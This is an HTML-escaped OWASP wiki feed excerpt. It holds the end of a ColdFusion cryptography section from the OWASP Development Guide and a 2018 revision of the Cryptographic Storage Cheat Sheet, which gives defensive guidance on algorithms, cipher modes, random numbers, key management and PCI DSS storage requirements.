&amp;lt;u&amp;gt;http://eprint.iacr.org/2005/007.pdf&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Bindview, ''Vulnerability in Windows NT's SYSKEY encryption'' &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://seclists.org/bugtraq/1999/Dec/208&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Schneier, B. ''Is 1024 bits enough?, ''April 2002 Cryptogram&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;http://www.schneier.com/crypto-gram-0204.html#3&amp;lt;/u&amp;gt; ''&lt;br /&gt;
&lt;br /&gt;
* Schneier, B., Cryptogram, &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.schneier.com/crypto-gram.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* NIST, Replacing SHA-1 with stronger variants: SHA-256 ? 512&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* UUIDs are only unique if you generate them:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://blogs.msdn.com/larryosterman/archive/2005/07/21/441417.aspx&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Cryptographically Secure Random Numbers on Win32:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Cryptography ==&lt;br /&gt;
&lt;br /&gt;
The following section describes ColdFusion’s cryptography features. ColdFusion MX leverages the Java Cryptography Extension (JCE) of the underlying J2EE platform for cryptography and random number generation. It provides functions for symmetric (or private-key) encryption. While it does not provide native functionality for public-key (asymmetric) encryption, it does use the Java Secure Socket Extension (JSSE) for SSL communication.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Pseudo-Random Number Generation'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion provides three functions for random number generation: rand(), randomize(), and randRange(). Function descriptions and syntax:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rand''' – Use to generate a pseudo-random number&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	rand([algorithm])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Randomize''' – Use to seed the pseudo-random number generator (PRNG) with an integer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	randomize(number [, algorithm])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''RandRange''' – Use to generate a pseudo-random integer within the range of the specified numbers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	randrange(number1, number2 [, algorithm])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following values are the allowed algorithm parameters:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CFMX_COMPAT: (default) – Invokes java.util.rand&lt;br /&gt;
&lt;br /&gt;
SHA1PRNG: (recommended) – Invokes java.security.SecureRandom using the Sun Java SHA-1 PRNG algorithm.&lt;br /&gt;
&lt;br /&gt;
IBMSecureRandom: IBM WebSphere’s JVM does not support the SHA1PRNG algorithm. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Symmetric Encryption'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion MX 7 provides six encryption functions: decrypt(), decryptBinary(), encrypt(), encryptBinary(), generateSecretKey(), and hash(). Function descriptions and syntax:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Decrypt''' – Use to decrypt encrypted strings with specified key, algorithm, encoding, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	decrypt(encrypted_string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''DecryptBinary''' – Use to decrypt encrypted binary data with specified key, algorithm, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	decryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Encrypt''' – Use to encrypt string using specific algorithm, encoding, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	encrypt(string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''EncryptBinary''' – Use to encrypt binary data with specified key, algorithm, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	encryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''GenerateSecretKey''' – Use to generate a secure key using the specified algorithm for the encrypt and encryptBinary functions&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	generateSecretKey(algorithm)'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Hash '''– Use for one-way conversion of a variable-length string to fixed-length string using the specified algorithm and encoding&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	hash(string[, algorithm[, encoding]] )'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ColdFusion offers the following default algorithms for these functions:&lt;br /&gt;
&lt;br /&gt;
CFMX_COMPAT: the algorithm used in ColdFusion MX and prior releases. This algorithm is the least secure option (default). &lt;br /&gt;
&lt;br /&gt;
AES: the Advanced Encryption Standard specified by the National Institute of Standards and Technology (NIST) FIPS-197. (recommended)&lt;br /&gt;
&lt;br /&gt;
BLOWFISH: the Blowfish algorithm defined by Bruce Schneier. &lt;br /&gt;
&lt;br /&gt;
DES: the Data Encryption Standard algorithm defined by NIST FIPS-46-3. &lt;br /&gt;
&lt;br /&gt;
DESEDE: the &amp;quot;Triple DES&amp;quot; algorithm defined by NIST FIPS-46-3. &lt;br /&gt;
&lt;br /&gt;
PBEWithMD5AndDES: A password-based version of the DES algorithm which uses a MD5 hash of the specified password as the encryption key &lt;br /&gt;
&lt;br /&gt;
PBEWithMD5AndTripleDES: A password-based version of the DESEDE algorithm which uses a MD5 hash of the specified password as the encryption key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following algorithms are provided by default for the hash() function. Note, SHA algorithms used in ColdFusion are NIST FIPS-180-2 compliant:&lt;br /&gt;
&lt;br /&gt;
CFMX_COMPAT: Generates a MD5 hash string identical to that generated by ColdFusion MX and ColdFusion MX 6.1 (default). &lt;br /&gt;
&lt;br /&gt;
MD5: Generates a 128-bit digest.&lt;br /&gt;
&lt;br /&gt;
SHA: Generates a 160-bit digest. (SHA-1)&lt;br /&gt;
&lt;br /&gt;
SHA-256: Generates a 256-bit digest&lt;br /&gt;
&lt;br /&gt;
SHA-384: Generates a 384-bit digest&lt;br /&gt;
&lt;br /&gt;
SHA-512: Generates a 512-bit digest&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Pluggable Encryption'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion MX 7 introduced pluggable encryption for CFML. The JCE allows developers to specify multiple cryptographic service providers. ColdFusion can leverage the algorithms, feedback modes, and padding methods of third-party Java security providers to strengthen its cryptography functions. For example, ColdFusion can leverage the Bouncy Castle ('''&amp;lt;u&amp;gt;http://www.bouncycastle.org/''') crypto package and use the SHA-224 algorithm for the hash() function or the Serpent block encryption for the encrypt() function.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
See Macromedia’s Strong Encryption in ColdFusion MX 7 technote for information on installing additional security providers for ColdFusion at http://www.macromedia.com/go/e546373d. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''SSL'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion does not provide tags and functions for public-key encryption, but it can communicate over SSL. ColdFusion leverages the Sun JSSE to communicate over SSL with web and LDAP (lightweight directory access protocol) servers. ColdFusion uses the Java certificate database (e.g. jre_root/lib/security/cacerts) to store server certificates. It compares presented certificate of remote systems to those stored in the database. It also grabs the host system’s certificate from this database and uses it to present to remote systems to initiate the SSL handshake. Certificate information is then exposed as CGI variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''''Best Practices'''''&lt;br /&gt;
&lt;br /&gt;
*Enable /dev/urandom for higher entropy for random number generation&lt;br /&gt;
&lt;br /&gt;
*Call the randomize function before calling rand() or randRange() to seed the random number generator&lt;br /&gt;
&lt;br /&gt;
*DO NOT use the CFMX_COMPAT algorithms. Upgrade your application to use stronger cryptographic ciphers.&lt;br /&gt;
&lt;br /&gt;
*Use AES or higher for symmetric encryption &lt;br /&gt;
&lt;br /&gt;
*Use SHA-256 or higher for the hash function&lt;br /&gt;
&lt;br /&gt;
*Use a salt (or random string) for password generation with the hash function&lt;br /&gt;
&lt;br /&gt;
*Always use generateSecretKey() to generate keys of the appropriate length for Block Encryption algorithms unless a customized key is required&lt;br /&gt;
&lt;br /&gt;
*Use separate key databases to store remote server certificates separately from the ColdFusion server’s certificate&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
[[Category:OWASP_Guide_Project]]&lt;br /&gt;
[[Category:Encryption]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cryptographic_Storage_Cheat_Sheet&amp;diff=241280</id>
		<title>Cryptographic Storage Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cryptographic_Storage_Cheat_Sheet&amp;diff=241280"/>
				<updated>2018-06-13T09:42:21Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Add Argon2 as recommended algorithm&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article provides a simple model to follow when implementing solutions to protect data at rest.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Architectural Decision  ==&lt;br /&gt;
&lt;br /&gt;
An architectural decision must be made to determine the appropriate method to protect data at rest.  There are such wide varieties of products, methods and mechanisms for cryptographic storage. This cheat sheet will only focus on low-level guidelines for developers and architects who are implementing cryptographic solutions. We will not address specific vendor solutions, nor will we address the design of cryptographic algorithms.&lt;br /&gt;
&lt;br /&gt;
The general practices and required minimum key length depending on the scenario listed below.&lt;br /&gt;
&lt;br /&gt;
* Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
* Message Integrity: HMAC-SHA2&lt;br /&gt;
* Message Hash: SHA2 256 bits&lt;br /&gt;
* Assymetric encryption: RSA 2048 bits&lt;br /&gt;
* Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
* Password Hashing: Argon2, PBKDF2, Scrypt, Bcrypt.&lt;br /&gt;
&lt;br /&gt;
= Providing Cryptographic Functionality  =&lt;br /&gt;
&lt;br /&gt;
== Secure Cryptographic Storage Design  ==&lt;br /&gt;
&lt;br /&gt;
* All protocols and algorithms for authentication and secure communication should be well vetted by the cryptographic community.&lt;br /&gt;
&lt;br /&gt;
* Ensure certificates are properly validated against the hostnames/users ie whom they are meant for.&lt;br /&gt;
&lt;br /&gt;
* Avoid using wildcard certificates unless there is a business need for it &lt;br /&gt;
&lt;br /&gt;
* Maintain a cryptographic standard to ensure that the developer community knows about the approved ciphersuits for network security protocols, algorithms, permitted use, cryptoperiods and Key Management&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Rule - Only store sensitive data that you need ===&lt;br /&gt;
&lt;br /&gt;
Many eCommerce businesses utilize third party payment providers to store credit card information for recurring billing. This offloads the burden of keeping credit card numbers safe.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use strong approved Authenticated Encryption  ===&lt;br /&gt;
E.g. [http://en.wikipedia.org/wiki/CCM_mode CCM] or [http://en.wikipedia.org/wiki/GCM_mode GCM] are approved [http://en.wikipedia.org/wiki/Authenticated_encryption Authenticated Encryption] modes based on [http://en.wikipedia.org/wiki/Advanced_Encryption_Standard AES] algorithm.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use strong approved cryptographic algorithms ====&lt;br /&gt;
Do not implement an existing cryptographic algorithm on your own, no matter how easy it appears. Instead, use widely accepted algorithms and widely accepted implementations. &lt;br /&gt;
&lt;br /&gt;
Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. Do not use weak algorithms, such as MD5 or SHA1. Avoid hashing for password storage, instead use PBKDF2, bcrypt or scrypt. Note that the classification of a &amp;quot;strong&amp;quot; cryptographic algorithm can change over time. See [http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r4.pdf NIST approved algorithms] or ISO TR 14742 “Recommendations on Cryptographic Algorithms and their use” or [http://www.enisa.europa.eu/activities/identity-and-trust/library/deliverables/algorithms-key-size-and-parameters-report-2014/at_download/fullReport Algorithms, key size and parameters report – 2014] from European Union Agency for Network and Information Security. &lt;br /&gt;
E.g. [http://en.wikipedia.org/wiki/Advanced_Encryption_Standard AES] 128, [http://en.wikipedia.org/wiki/RSA_(cryptosystem) RSA] 3072, [http://en.wikipedia.org/wiki/Secure_Hash_Algorithm SHA] 256. &lt;br /&gt;
&lt;br /&gt;
Ensure that the implementation has (at minimum) had some cryptography experts involved in its creation. If possible, use an implementation that is FIPS 140-2 certified. &lt;br /&gt;
&lt;br /&gt;
See [http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r4.pdf NIST approved algorithms] Table 2 “Comparable strengths” for the strength (“security bits”) of different algorithms and key lengths, and how they compare to each other. &lt;br /&gt;
&lt;br /&gt;
* In general, where different algorithms are used, they should have comparable strengths e.g. if an AES-128 key is to be encrypted, an AES-128 key or greater, or RSA-3072 or greater could be used to encrypt it. &lt;br /&gt;
* In general, hash lengths are twice as long as the security bits offered by the symmetric/asymmetric algorithm&amp;amp;nbsp; e.g. SHA-224 for 3TDEA (112 security bits) (due to the [http://en.wikipedia.org/wiki/Birthday_attack Birthday Attack])&lt;br /&gt;
&lt;br /&gt;
If a password is being used to protect keys then the [http://en.wikipedia.org/wiki/Password_strength password strength]should be sufficient for the strength of the keys it is protecting.&lt;br /&gt;
&lt;br /&gt;
When 3DES is used, ensure K1 != K2 != K3, and the minimum key length must be 192 bit.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use approved cryptographic modes  ====&lt;br /&gt;
In general, you should not use AES, DES or other symmetric cipher primitives directly. [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes] should be used instead. &lt;br /&gt;
&lt;br /&gt;
NOTE: Do not use [http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29 ECB mode] for encrypting lots of data (the other modes are better because they chain the blocks of data together to improve the data security).&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use strong random numbers  ====&lt;br /&gt;
Ensure that all random numbers, especially those used for cryptographic parameters (keys, IV’s, MAC tags), random file names, random GUIDs, and random strings are generated in a cryptographically strong fashion. &lt;br /&gt;
&lt;br /&gt;
Ensure that random algorithms are seeded with sufficient entropy.&lt;br /&gt;
&lt;br /&gt;
Tools like [http://csrc.nist.gov/groups/ST/toolkit/rng/documentation_software.html NIST RNG Test tool] (as used in PCI PTS Derived Test Requirements) can be used to comprehensively assess the quality of a Random Number Generator by reading e.g. 128MB of data from the RNG source and then assessing its randomness properties with the tool.&lt;br /&gt;
&lt;br /&gt;
The following libraries are considered '''weak''' random numbers generators and should not be used.&lt;br /&gt;
&lt;br /&gt;
* C library: &amp;lt;code&amp;gt;random()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;rand()&amp;lt;/code&amp;gt;  — use [http://man7.org/linux/man-pages/man2/getrandom.2.html getrandom(2)] instead&lt;br /&gt;
* Java library: &amp;lt;code&amp;gt;java.util.Random()&amp;lt;/code&amp;gt;  — use &amp;lt;code&amp;gt;java.security.SecureRandom&amp;lt;/code&amp;gt; instead&lt;br /&gt;
&lt;br /&gt;
For secure random number generation, refer to NIST SP 800-90A. CTR-DRBG、HASH-DRBG、HMAC-DRBG are recommended.&lt;br /&gt;
Refer to NIST SP800-22 A Statistical Test Suite for Random and Pseudorandom Number Generators for Cryptographic Applications, and the testing toolkit.&lt;br /&gt;
&lt;br /&gt;
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-22r1a.pdf&lt;br /&gt;
http://csrc.nist.gov/groups/ST/toolkit/rng/documents/sts-2.1.2.zip&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use Authenticated Encryption of data ====&lt;br /&gt;
Use ([http://en.wikipedia.org/wiki/Authenticated_encryption AE]) modes under a uniform API. Recommended modes include [http://en.wikipedia.org/wiki/CCM_mode CCM], and [http://en.wikipedia.org/wiki/Galois/Counter_Mode GCM] as these, and only these as of November 2014, are specified in [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes], ISO IEC 19772 (2009) &amp;quot;Information technology — Security techniques — Authenticated encryption&amp;quot;, and [http://en.wikipedia.org/wiki/IEEE_P1619 IEEE P1619 Standard for Cryptographic Protection of Data on Block-Oriented Storage Devices] &lt;br /&gt;
&lt;br /&gt;
* [http://en.wikipedia.org/wiki/Authenticated_encryption Authenticated Encryption] gives [http://en.wikipedia.org/wiki/Confidentiality confidentiality],&amp;amp;nbsp;[http://en.wikipedia.org/wiki/Data_integrity integrity], and&amp;amp;nbsp;[http://en.wikipedia.org/wiki/Authentication authenticity] (CIA); encryption alone just gives confidentiality. Encryption must always be combined with message integrity and authenticity protection. Otherwise the ciphertext may be vulnerable to manipulation causing changes to the underlying plaintext data, especially if it's being passed over untrusted channels (e.g. in an URL or cookie). &lt;br /&gt;
* These modes require only one key. In general, the tag sizes and the IV sizes should be set to maximum values.&lt;br /&gt;
&lt;br /&gt;
If these recommended [http://en.wikipedia.org/wiki/Authenticated_encryption AE] modes are not available&lt;br /&gt;
&lt;br /&gt;
* combine encryption in [http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29 cipher-block chaining (CBC) mode] with post-encryption message authentication code, such as [http://en.wikipedia.org/wiki/HMAC HMAC] or [http://en.wikipedia.org/wiki/CMAC CMAC] i.e. Encrypt-then-MAC. &lt;br /&gt;
** Note that Integrity and Authenticity are preferable to Integrity alone i.e. a MAC such as HMAC-SHA256 or HMAC-SHA512 is a better choice than SHA-256 or SHA-512.&lt;br /&gt;
* Use 2 independent keys for these 2 independent operations. &lt;br /&gt;
* Do not use ECB mode. CDC is preferred.&lt;br /&gt;
* Do not use [http://en.wikipedia.org/wiki/CBC-MAC#Security_with_fixed_and_variable-length_messages CBC MAC for variable length data] &lt;br /&gt;
* The [http://csrc.nist.gov/groups/STM/cavp/index.html CAVP program] is a good default place to go for validation of cryptographic algorithms when one does not have AES or one of the authenticated encryption modes that provide confidentiality and authenticity (i.e., data origin authentication) such as CCM, EAX, CMAC, etc. For Java, if you are using SunJCE that will be the case. The cipher modes supported in JDK 1.5 and later are CBC, CFB, CFBx, CTR, CTS, ECB, OFB, OFBx, PCBC. None of these cipher modes are authenticated encryption modes. (That's why it is added explicitly.) If you are using an alternate JCE provider such as Bouncy Castle, RSA JSafe, IAIK, etc., then these authenticated encryption modes should be used.&lt;br /&gt;
&lt;br /&gt;
Note: [http://en.wikipedia.org/wiki/Disk_encryption_theory Disk encryption]&amp;amp;nbsp;is a special case of&amp;amp;nbsp;[http://en.wikipedia.org/wiki/Data_at_Rest data at rest]&amp;amp;nbsp;e.g. Encrypted File System on a Hard Disk Drive. [http://csrc.nist.gov/publications/nistpubs/800-38E/nist-sp-800-38E.pdf XTS-AES mode] is optimized for Disk encryption and is one of the [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes]&amp;lt;nowiki&amp;gt;; it provides confidentiality and some protection against data manipulation (but not as strong as the &amp;lt;/nowiki&amp;gt;[http://en.wikipedia.org/wiki/Authenticated_encryption AE] [http://csrc.nist.gov/groups/ST/toolkit/BCM/current_modes.html NIST approved modes]). It is also specified in [http://en.wikipedia.org/wiki/IEEE_P1619 IEEE P1619 Standard for Cryptographic Protection of Data on Block-Oriented Storage Devices]&lt;br /&gt;
&lt;br /&gt;
=== Rule - Store a one-way and salted value of passwords ===&lt;br /&gt;
&lt;br /&gt;
Use PBKDF2, bcrypt or scrypt for password storage. For more information on password storage, please see the [[Password Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Rule - Ensure that the cryptographic protection remains secure even if access controls fail ===&lt;br /&gt;
&lt;br /&gt;
This rule supports the principle of defense in depth. Access controls (usernames, passwords, privileges, etc.) are one layer of protection. Storage encryption should add an additional layer of protection that will continue protecting the data even if an attacker subverts the database access control layer.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Ensure that any secret key is protected from unauthorized access ===&lt;br /&gt;
&lt;br /&gt;
==== Rule - Define a key lifecycle ====&lt;br /&gt;
&lt;br /&gt;
The key lifecycle details the various states that a key will move through during its life. The lifecycle will specify when a key should no longer be used for encryption, when a key should no longer be used for decryption (these are not necessarily coincident), whether data must be rekeyed when a new key is introduced, and when a key should be removed from use all together.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Store unencrypted keys away from the encrypted data ====&lt;br /&gt;
&lt;br /&gt;
If the keys are stored with the data then any compromise of the data will easily compromise the keys as well. Unencrypted keys should never reside on the same machine or cluster as the data.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Use independent keys when multiple keys are required ====&lt;br /&gt;
&lt;br /&gt;
Ensure that key material is independent. That is, do not choose a second key which is easily related to the first (or any preceeding) keys.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Protect keys in a key vault ====&lt;br /&gt;
&lt;br /&gt;
Keys should remain in a protected key vault at all times. In particular, ensure that there is a gap between the threat vectors that have direct access to the data and the threat vectors that have direct access to the keys. This implies that keys should not be stored on the application or web server (assuming that application attackers are part of the relevant threat model).&lt;br /&gt;
&lt;br /&gt;
==== Rule - Document concrete procedures for managing keys through the lifecycle ====&lt;br /&gt;
&lt;br /&gt;
These procedures must be written down and the key custodians must be adequately trained.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Build support for changing algorithms and keys when needed ====&lt;br /&gt;
&lt;br /&gt;
If keys are compromised or an external authority expires them, key changes will be needed.  Application polices or emergency needs will force application administrators to rotate keys and potentially rekey data at some point. It's best to be prepared to rapidly handle this need when necessary.  Including a key version and encryption algorithm version with the encrypted data is a useful, proactive feature.  For instance, including a simple prefix string, such as &amp;quot;&amp;lt;code&amp;gt;{1,1}...&amp;lt;/code&amp;gt;&amp;quot;, prior to the encrypted data could indicate algorithm version 1, key version 1.  This allows for an &amp;quot;online&amp;quot; change to the encryption algorithm and key without re-encrypting all existing data all at once.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Document concrete procedures to handle a key compromise ====&lt;br /&gt;
&lt;br /&gt;
Ensure operations staff have the information they need, readily available, when rotation of encryption keys must be performed.  Rotating keys should not require changes to source code or other risky deployment measures, since doing this in the middle of an incident will already place a great deal of stress on these staff.&lt;br /&gt;
&lt;br /&gt;
==== Rule - Limit quantity of data encrypted with one key ====&lt;br /&gt;
&lt;br /&gt;
If the amount of data encrypted grows beyond a '''certain threshold''', a new key should be used.  This '''certain threshold''' varies depending on the encryption algorithm used, but is typically 2&amp;lt;sup&amp;gt;35&amp;lt;/sup&amp;gt; bytes (~34 gigabytes) for 64 bit block ciphers (DES, 3DES, Blowfish, RC5, ...) and 2&amp;lt;sup&amp;gt;68&amp;lt;/sup&amp;gt; bytes (~ 295,147,905 terabytes) for 128 bit block ciphers (AES, TwoFish, Serpent).  If encrypting with a modern cipher, this threshold is unlikely to be reached, but it should be considered when evaluating algorithms and rotation procedures.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Follow applicable regulations on use of cryptography ===&lt;br /&gt;
&lt;br /&gt;
==== Rule - Under PCI DSS requirement 3, you must protect cardholder data  ====&lt;br /&gt;
&lt;br /&gt;
The Payment Card Industry (PCI) Data Security Standard (DSS) was developed to encourage and enhance cardholder data security and facilitate the broad adoption of consistent data security measures globally. The standard was introduced in 2005 and replaced individual compliance standards from Visa, Mastercard, Amex, JCB and Diners. The current version of the standard is 3.1 and was published in April, 2015. &lt;br /&gt;
&lt;br /&gt;
PCI DSS requirement 3 covers secure storage of credit card data. This requirement covers several aspects of secure storage including the data you must never store but we are covering Cryptographic Storage which is covered in requirements 3.4, 3.5 and 3.6 as you can see below: &lt;br /&gt;
&lt;br /&gt;
'''3.4 Render PAN (Primary Account Number), at minimum, unreadable anywhere it is stored''' &lt;br /&gt;
&lt;br /&gt;
Compliance with requirement 3.4 can be met by implementing any of the four types of secure storage described in the standard which includes encrypting and hashing data. These two approaches will often be the most popular choices from the list of options. The standard doesn't refer to any specific algorithms but it mandates the use of '''Strong Cryptography'''. The glossary document from the PCI council defines '''Strong Cryptography''' as: &lt;br /&gt;
&lt;br /&gt;
''Cryptography based on industry-tested and accepted algorithms, along with strong key lengths and proper key-management practices. Cryptography is a method to protect data and includes both encryption (which is reversible) and hashing (which is not reversible, or “one way”). SHA-1 is an example of an industry-tested and accepted hashing algorithm. Examples of industry-tested and accepted standards and algorithms for encryption include AES (128 bits and higher), TDES (minimum double-length keys), RSA (1024 bits and higher), ECC (160 bits and higher), and ElGamal (1024 bits and higher).'' &lt;br /&gt;
&lt;br /&gt;
If you have implemented the second rule in this cheat sheet you will have implemented a strong cryptographic algorithm which is compliant with or stronger than the requirements of PCI DSS requirement 3.4. You need to ensure that you identify all locations that card data could be stored including logs and apply the appropriate level of protection. This could range from encrypting the data to replacing the card number in logs. &lt;br /&gt;
&lt;br /&gt;
This requirement can also be met by implementing disk encryption rather than file or column level encryption. The requirements for '''Strong Cryptography''' are the same for disk encryption and backup media. The card data should never be stored in the clear and by following the guidance in this cheat sheet you will be able to securely store your data in a manner which is compliant with PCI DSS requirement 3.4 &lt;br /&gt;
&lt;br /&gt;
'''3.5  Protect any keys used to secure cardholder data against disclosure and misuse''' &lt;br /&gt;
&lt;br /&gt;
As the requirement name above indicates, we are required to securely store the encryption keys themselves. This will mean implementing strong access control, auditing and logging for your keys. The keys must be stored in a location which is both secure and &amp;quot;away&amp;quot; from the encrypted data. This means key data shouldn't be stored on web servers, database servers etc &lt;br /&gt;
&lt;br /&gt;
Access to the keys must be restricted to the smallest amount of users possible. This group of users will ideally be users who are highly trusted and trained to perform Key Custodian duties. There will obviously be a requirement for system/service accounts to access the key data to perform encryption/decryption of data. &lt;br /&gt;
&lt;br /&gt;
The keys themselves shouldn't be stored in the clear but encrypted with a KEK (Key Encrypting Key). The KEK must not be stored in the same location as the encryption keys it is encrypting. &lt;br /&gt;
&lt;br /&gt;
'''3.6 Fully document and implement all key-management processes and procedures for cryptographic keys used for encryption of cardholder data''' &lt;br /&gt;
&lt;br /&gt;
Requirement 3.6 mandates that key management processes within a PCI compliant company cover 8 specific key lifecycle steps: &lt;br /&gt;
&lt;br /&gt;
'''3.6.1 Generation of strong cryptographic keys''' &lt;br /&gt;
&lt;br /&gt;
As we have previously described in this cheat sheet we need to use algorithms which offer high levels of data security. We must also generate strong keys so that the security of the data isn't undermined by weak cryptographic keys. A strong key is generated by using a key length which is sufficient for your data security requirements and compliant with the PCI DSS. The key size alone isn't a measure of the strength of a key. The data used to generate the key must be sufficiently random (&amp;quot;sufficient&amp;quot; often being determined by your data security requirements) and the entropy of the key data itself must be high.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''3.6.2 Secure cryptographic key distribution''' &lt;br /&gt;
&lt;br /&gt;
The method used to distribute keys must be secure to prevent the theft of keys in transit. The use of a protocol such as Diffie Hellman can help secure the distribution of keys, the use of secure transport such as TLS and SSHv2 can also secure the keys in transit. Older protocols like SSLv3 should not be used.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''3.6.3 Secure cryptographic key storage'''&lt;br /&gt;
&lt;br /&gt;
The secure storage of encryption keys including KEK's has been touched on in our description of requirement 3.5 (see above).&lt;br /&gt;
&lt;br /&gt;
